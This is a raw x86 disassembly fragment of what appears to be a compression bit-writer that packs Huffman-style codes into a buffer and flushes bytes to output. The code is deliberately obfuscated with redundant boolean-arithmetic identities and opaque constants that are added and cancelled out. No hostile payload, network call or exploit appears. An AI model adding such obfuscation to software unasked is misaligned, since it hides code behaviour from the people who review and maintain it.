xor edx, 0xffffffff
xor edx, 0xffffffff
or edx, 0
mov edi, ecx
xor edi, 0xffffffff
mov eax, edx
xor eax, 0xffffffff
mov esi, edi
and esi, 0x76838d4e
and ecx, 0x897c72b1
mov ebx, eax
and ebx, 0x76838d4e
and edx, 0x897c72b1
or esi, ecx
or ebx, edx
xor esi, ebx
or edi, eax
xor edi, 0xffffffff
and edi, 0xffffffff
or esi, edi
mov eax, esi
xor eax, 0xffffffff
xor esi, 0xffffffff
and eax, esi
or eax, 0
xor eax, 0xffffffff
or eax, 0
xor eax, 0xffffffff
mov ecx, eax
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov edx, dword [ebp - 0x54]
mov dword [edx], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov esi, dword [ebp - 0x50]
mov dword [esi], eax
mov eax, dword [edx]
mov edi, dword [ebp - 0x28]
mov ecx, dword [edi]
mov ecx, dword [ecx + 0x44]
shl eax, cl
mov ecx, dword [edi]
or eax, dword [ecx + 0x48]
mov dword [ecx + 0x48], eax
mov eax, dword [esi]
mov ecx, dword [edi]
add eax, dword [ecx + 0x44]
mov dword [ecx + 0x44], eax
mov ebx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
mov eax, dword [edi]
cmp dword [eax + 0x44], 8
jb 0x443ea0
mov eax, dword [edi]
mov eax, dword [eax + 0x30]
mov ecx, dword [edi]
cmp eax, dword [ecx + 0x34]
jae 0x443e7a
mov eax, dword [edi]
mov eax, dword [eax + 0x48]
mov ecx, dword [edi]
mov edx, dword [ecx + 0x30]
mov esi, edx
add esi, 1
mov dword [ecx + 0x30], esi
mov esi, dword [ebp - 0x1c]
mov byte [edx], al
mov edx, dword [ebp - 0x14]
jmp 0x443e7c
mov eax, dword [edi]
mov ecx, dword [eax + 0x48]
shr ecx, 8
mov dword [eax + 0x48], ecx
mov eax, dword [edi]
mov ecx, dword [eax + 0x44]
sub ecx, 0xceae181c
sub ecx, 8
add ecx, 0xceae181c
mov dword [eax + 0x44], ecx
jmp 0x443e4c
jmp 0x443ea2
jmp 0x443f60
mov eax, dword [esi]
mov ecx, eax
add ecx, 1
mov dword [esi], ecx
movzx eax, byte [eax]
mov dword [edx], eax
mov eax, dword [edi]
mov ecx, dword [edx]
movzx eax, word [eax + ecx*2 + 0x8852]
mov ebx, dword [ebp - 0x48]
mov dword [ebx], eax
mov eax, dword [edi]
mov ecx, dword [edx]
movzx eax, byte [eax + ecx + 0x8f12]
mov edx, dword [ebp - 0x44]
mov dword [edx], eax
mov eax, dword [ebx]
mov ecx, dword [edi]
mov ecx, dword [ecx + 0x44]
shl eax, cl
mov ecx, dword [edi]
or eax, dword [ecx + 0x48]
mov dword [ecx + 0x48], eax
mov eax, dword [edx]
mov edx, dword [ebp - 0x14]
mov ecx, dword [edi]
add eax, dword [ecx + 0x44]
mov dword [ecx + 0x44], eax
mov eax, dword [edi]
cmp dword [eax + 0x44], 8
jb 0x443f57
jmp 0x443eff
mov eax, dword [edi]
mov eax, dword [eax + 0x30]
mov ecx, dword [edi]
cmp eax, dword [ecx + 0x34]
setb al
test al, 1
jne 0x443f12
jmp 0x443f33
mov dword [ebp - 0x1c], esi
jmp 0x443f17
mov eax, dword [edi]
mov eax, dword [eax + 0x48]
mov ecx, dword [edi]
mov edx, dword [ecx + 0x30]
mov esi, edx
add esi, 1
mov dword [ecx + 0x30], esi
mov byte [edx], al
mov esi, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
jmp 0x443f33
mov eax, dword [edi]
mov ecx, dword [eax + 0x48]
shr ecx, 8
mov dword [eax + 0x48], ecx
mov eax, dword [edi]
mov ecx, dword [eax + 0x44]
add ecx, 0x32977a94
sub ecx, 8
sub ecx, 0x32977a94
mov dword [eax + 0x44], ecx
jmp 0x443ef5
mov ebx, dword [ebp - 0x38]
jmp 0x443f5c
jmp 0x443f5e
jmp 0x443f60
jmp 0x443f62
jmp 0x443f64
mov eax, dword [ebx]
shr eax, 1
mov dword [ebx], eax
jmp 0x4439e0
jmp 0x443f72
mov eax, dword [edi]
movzx eax, word [eax + 0x8a52]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, dword [edi]
movzx eax, byte [eax + 0x9012]
mov esi, dword [ebp - 0x58]
mov dword [esi], eax
mov edx, dword [ecx]
mov eax, dword [edi]
mov ecx, dword [eax + 0x44]
shl edx, cl
mov eax, dword [edi]
mov ecx, dword [eax + 0x48]
and ecx, ecx
xor ecx, 0xffffffff
and edx, edx
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
mov dword [eax + 0x48], ecx
mov esi, dword [esi]
mov ecx, dword [edi]
mov edx, dword [ecx + 0x44]
mov edi, edx
and edi, esi
mov eax, edi
xor eax, 0xffffffff
and eax, 2
mov ebx, edi
and ebx, 0xfffffffd
imul ebx, eax
mov eax, edi
and eax, 2
or edi, 2
imul edi, eax
add edi, ebx
xor edx, esi
add edx, edi
mov dword [ecx + 0x44], edx
mov edi, dword [ebp - 0x28]
jmp 0x443fe5
jmp 0x443fe7
mov eax, dword [edi]
cmp dword [eax + 0x44], 8
setae al
test al, 1
jne 0x443ff6
jmp 0x444037
jmp 0x443ff8
mov eax, dword [edi]
mov eax, dword [eax + 0x30]
mov ecx, dword [edi]
cmp eax, dword [ecx + 0x34]
setb al
test al, 1
jne 0x44400b
jmp 0x44401f
mov eax, dword [edi]
mov eax, dword [eax + 0x48]
mov ecx, dword [edi]
mov edx, dword [ecx + 0x30]
mov esi, edx
add esi, 1
mov dword [ecx + 0x30], esi
mov byte [edx], al
mov eax, dword [edi]
mov ecx, dword [eax + 0x48]
shr ecx, 8
mov dword [eax + 0x48], ecx
mov eax, dword [edi]
mov ecx, dword [eax + 0x44]
sub ecx, 8
mov dword [eax + 0x44], ecx
jmp 0x443fe5
jmp 0x444039
mov eax, dword [edi]
mov eax, dword [eax + 0x30]
mov ecx, dword [edi]
cmp eax, dword [ecx + 0x34]
setb al
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret